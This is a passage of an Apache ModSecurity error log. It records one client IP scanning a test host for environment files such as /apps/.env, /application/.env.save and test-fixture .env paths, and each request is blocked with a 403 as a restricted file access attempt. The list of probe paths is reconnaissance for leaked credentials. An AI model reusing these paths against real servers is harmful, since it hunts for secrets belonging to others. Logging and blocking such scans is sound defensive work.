&quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiymgAAAAA&quot;]
[Thu Feb 26 01:02:55.559715 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiymgAAAAA&quot;]
[Thu Feb 26 01:02:55.559873 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/empty-values/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiymgAAAAA&quot;]
[Thu Feb 26 01:02:55.582815 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiymwAAAAA&quot;]
[Thu Feb 26 01:02:55.583082 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiymwAAAAA&quot;]
[Thu Feb 26 01:02:55.583231 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/filename/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiymwAAAAA&quot;]
[Thu Feb 26 01:02:55.590125 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app_nginx_static_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_nginx_static_path/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHcQAAAAQ&quot;]
[Thu Feb 26 01:02:55.590358 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_nginx_static_path/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHcQAAAAQ&quot;]
[Thu Feb 26 01:02:55.590518 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app_nginx_static_path/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHcQAAAAQ&quot;]
[Thu Feb 26 01:02:55.622415 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiynAAAAAA&quot;]
[Thu Feb 26 01:02:55.622659 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiynAAAAAA&quot;]
[Thu Feb 26 01:02:55.622813 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/override-value/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiynAAAAAA&quot;]
[Thu Feb 26 01:02:55.628906 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.sample&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHcgAAAAQ&quot;]
[Thu Feb 26 01:02:55.629132 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.sample&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHcgAAAAQ&quot;]
[Thu Feb 26 01:02:55.629291 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.sample&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHcgAAAAQ&quot;]
[Thu Feb 26 01:02:55.661796 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiynQAAAAA&quot;]
[Thu Feb 26 01:02:55.662096 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiynQAAAAA&quot;]
[Thu Feb 26 01:02:55.662276 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/babel-plugin-dotenv/test/fixtures/prod-env/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiynQAAAAA&quot;]
[Thu Feb 26 01:02:55.669449 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHcwAAAAQ&quot;]
[Thu Feb 26 01:02:55.669683 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHcwAAAAQ&quot;]
[Thu Feb 26 01:02:55.669845 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env.save&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHcwAAAAQ&quot;]
[Thu Feb 26 01:02:55.700177 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /back-end/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back-end/app/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiyngAAAAA&quot;]
[Thu Feb 26 01:02:55.700404 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back-end/app/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiyngAAAAA&quot;]
[Thu Feb 26 01:02:55.700578 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back-end/app/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiyngAAAAA&quot;]
[Thu Feb 26 01:02:55.711457 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHdAAAAAQ&quot;]
[Thu Feb 26 01:02:55.711723 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHdAAAAAQ&quot;]
[Thu Feb 26 01:02:55.711909 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHdAAAAAQ&quot;]
[Thu Feb 26 01:02:55.742901 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /back/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiynwAAAAA&quot;]
[Thu Feb 26 01:02:55.743156 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiynwAAAAA&quot;]
[Thu Feb 26 01:02:55.743300 2026] [:error] [pid 2330788] [client 185.177.72.22:24010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/back/.env&quot;] [unique_id &quot;aZ-NrySJSniLip0oFXiynwAAAAA&quot;]
[Thu Feb 26 01:02:55.749011 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /apps/client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/client/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHdQAAAAQ&quot;]
[Thu Feb 26 01:02:55.749238 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/client/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHdQAAAAQ&quot;]
[Thu Feb 26 01:02:55.749399 2026] [:error] [pid 2330792] [client 185.177.72.22:24020] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps/client/.env&quot;] [unique_id &quot;aZ-Nrzf0JOOqB-ib2UlHdQAAAAQ&quot;]
